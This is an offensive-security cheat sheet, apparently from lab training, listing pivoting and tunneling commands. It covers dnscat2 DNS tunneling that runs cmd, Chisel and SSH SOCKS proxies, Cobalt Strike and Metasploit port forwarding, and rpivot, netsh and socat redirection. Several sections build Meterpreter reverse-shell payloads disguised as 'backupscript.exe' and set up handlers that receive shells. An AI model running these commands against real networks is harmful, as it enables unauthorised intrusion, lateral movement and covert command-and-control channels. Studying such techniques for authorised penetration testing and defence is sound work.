# Pivoting, Tunneling and Forwarding

## Advanced Tunneling Methods

### DNS Tunneling

```powershell
# Start dnscat2 Server
sudo ruby dnscat2.rb --dns host=<tun0>,port=53,domain=inlanefreight.local --no-cache

# Import Module
Import-Module .\dnscat2.ps1

# Gain Connection
Start-Dnscat2 -DNSserver <tun0> -Domain i<domain> -PreSharedSecret <secret> -Exec cmd

# Interact With Session
windows -i <id>

```

### SOCKS5 With Chisel

```bash
# Server Side
./chisel server -v -p 1234 --socks5

# Target 
./chisel client -v 10.129.202.64:1234 socks

# Now we can use proxychains
socks5 127.0.0.1 1080
```

### Chisel Reverse Pivot

```bash
# Server Side
sudo ./chisel server --reverse -v -p 1234 --socks5

# Target Side
./chisel client -v 10.10.14.17:1234 R:socks

# cProxychains
socks5 127.0.0.1 1080 
```

### RDP & Socks Tunneling with SockOverRDP

```bash
# Load DLL
regsvr32.exe SocksOverRDP-Plugin.dll

# Proxifier
127.0.0.1:1080 over sock5
```

***

## Dynamic Port Forwarding (SSH + Socks)

### Local Port Forward SSH

It sends the data from `<local-port>` to `<remote-port` on the target server.

```bash
# Local Port -> Can be any port
# Remote Port -> The port where the target service is listening on
ssh -L <local-port>:127.0.0.1:<remote-port>

# Confirm Port Forwarding
netstat -antp | grep <localport>

# Forwarding Several Ports
ssh -L <local-port>:localhost:<remote-port> <local-port>:localhost:<remote-port> <user>@<IP>
```

### SSH Tunneling over SOCKS Proxy

```bash
# SSH Command
ssh -D 1080 <user>@<IP>

# Check Proxychains Conf File
/etc/proxychains.conf
socks4 127.0.0.1 1080
```

### Reverse Port Forwarding SSH

```bash
# Generate Reverse Shell, with the IP of the internal host.
msfvenom -p windows/x64/meterpreter/reverse_https lhost= <InternalIPofPivotHost> -f exe -o backupscript.exe LPORT=8080

# Set lport 8000
# set lhost 127.0.0.1

# Reverse Port Forward
ssh -R <InternalIPofPivotHost>:8080:0.0.0.0:8000 ubuntu@<ipAddressofTarget> -vN
```

### Cobalt Tunneling & Port Forwarding

```bash
# Socks4 Proxy
socks 1080

# socks5
socks 1080 socks5 disableNoAuth socks_user socks_password enableLogging

# Reverse Port Forward
rportfwd 
```

### MSF Socks Proxy

```bash
use auxiliary/server/socks_proxy
set srvport 1080
set servhost 0.0.0.0
set version 4a

# Verify Proxy runs
jobs
```

### Metasploit Autoroute

```bash
use post/multi/manage/autoroute
set session <session id>
set subnet <ip>
run

# Shorter Method
run autoroute -s <ip>/24
```

### Metasploit Port Forwarding

```bash
portfwd add -l <local-port> -p <remote-port> -r <ip>
```

### Metasploit Reverse Forwarding

```bash
portfwd add -R -l <local-port> -p <remote-port> -L <tun0>

# Setup Listener
set payload windows/x64/meterpreter/reverse_tcp
set lport <value -l>
set lhost 0.0.0.0
run

# Create Payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<pivot-ip> -f exe -o backupscript.exe LPORT=<remote-port>
```

***

## Port Forwarding Tools

### Plink

```powershell
plink -D 9050 ubuntu@<IP>
```

### Proxifier

Proxifier is a Windows tool that creates a tunneled network for desktop client applications and allows it to operate through a SOCKS or HTTPS proxy and allows for proxy chaining.

### Sshuttle

```bash
sshuttle -r ubuntu@10.129.202.64 <target-ip-subnet> -v 
```

### Rpivot

Rpivot is a reverse SOCKS proxy tool written in Python for SOCKS tunneling.

```bash
# Setup Server
python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0

# Upload client.py to Target

# On Target machine
python2.7 client.py --server-ip <IP> --server-port 9999
```

### Netsh

```powershell
# Example: netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.15.150 connectport=3389 connectaddress=172.16.5.25
netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=<current-host> connectport=3389 connectaddress=<target-host>

# Verify Netsh
netsh.exe interface portproxy show v4tov4

```

### SoCat

#### Socat Listener Reverse Shell

```bash
# Example: socat TCP4-LISTEN:8080,fork TCP4:10.10.14.18:80
socat TCP4-LISTEN:<local-port>,fork TCP4:10.10.14.18:<remote-port>

# Generate Payload
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=8080

# msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set lhost 0.0.0.0
set lport 80
run
```

#### Socat Redirection with Bind Shells

```bash
# Example: socat TCP4-LISTEN:8080,fork TCP4:172.16.5.19:8443
socat TCP4-LISTEN:<listen-port>,fork TCP4:172.16.5.19:<port-needs-to-be-forwarded>
```
